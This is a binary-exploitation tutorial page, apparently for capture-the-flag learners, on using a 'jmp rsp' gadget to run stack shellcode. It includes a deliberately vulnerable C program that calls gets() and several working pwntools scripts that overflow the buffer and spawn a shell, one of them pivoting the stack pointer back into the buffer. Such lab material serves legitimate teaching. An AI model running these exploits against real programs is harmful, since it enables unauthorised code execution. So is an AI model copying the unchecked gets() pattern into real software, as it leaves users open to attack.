Using RSP

Source

3KB

rsp_shellcode.zip

archive

Open

Shellcode with RSP

#include <stdio.h>

int test = 0;

int main() {
    char input[100];

    puts("Get me with shellcode and RSP!");
    gets(input);

    if(test) {
        asm("jmp *%rsp");
        return 0;
    }
    else {
        return 0;
    }
}

You can ignore most of it as it's mostly there to accomodate the existence of jmp rsp - we don't actually want it called, so there's a negative if statement.

The chance of jmp esp gadgets existing in the binary are incredible low, but what you often do instead is find a sequence of bytes that code for jmp rsp and jump there - jmp rsp is \xff\xe4 in shellcode, so if there's is any part of the executable section with bytes in this order, they can be used as if they are a jmp rsp.

Exploitation

Try to do this yourself first, using the explanation on the previous page. Remember, RSP points at the thing after the return pointer once ret has occured, so your shellcode goes after it.

Solution

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

# we use elf.search() because we don't need those instructions directly,
# just anu sequence of \xff\xe4
jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = flat(
    'A' * 120,                # padding
    jmp_rsp,                 # RSP will be pointing to shellcode, so we jump there
    asm(shellcraft.sh())     # place the shellcode
)

p.sendlineafter('RSP!\n', payload)
p.interactive()

Limited Space

You won't always have enough overflow - perhaps you'll only have 7 or 8 bytes. What you can do in this scenario is make the shellcode after the RIP equivalent to something like

sub rsp, 0x20
jmp rsp

Where 0x20 is the offset between the current value of RSP and the start of the buffer. In the buffer itself, we put the main shellcode. Let's try that!

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
    sub rsp, 10;
    jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

The 10 is just a placeholder. Once we hit the pause(), we attach with radare2 and set a breakpoint on the ret, then continue. Once we hit it, we find the beginning of the A string and work out the offset between that and the current value of RSP - it's 128!

Solution

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = asm(shellcraft.sh())
payload = payload.ljust(120, b'A')
payload += p64(jmp_rsp)
payload += asm('''
    sub rsp, 128;
    jmp rsp;
''')        # 128 we found with r2

p.sendlineafter('RSP!\n', payload)
p.interactive()

We successfully pivoted back to our shellcode - and because all our addresses are relative, it's completely reliable! ASLR beaten with pure shellcode.

This is harder with PIE as the location of jmp rsp will change, so you might have to leak PIE base!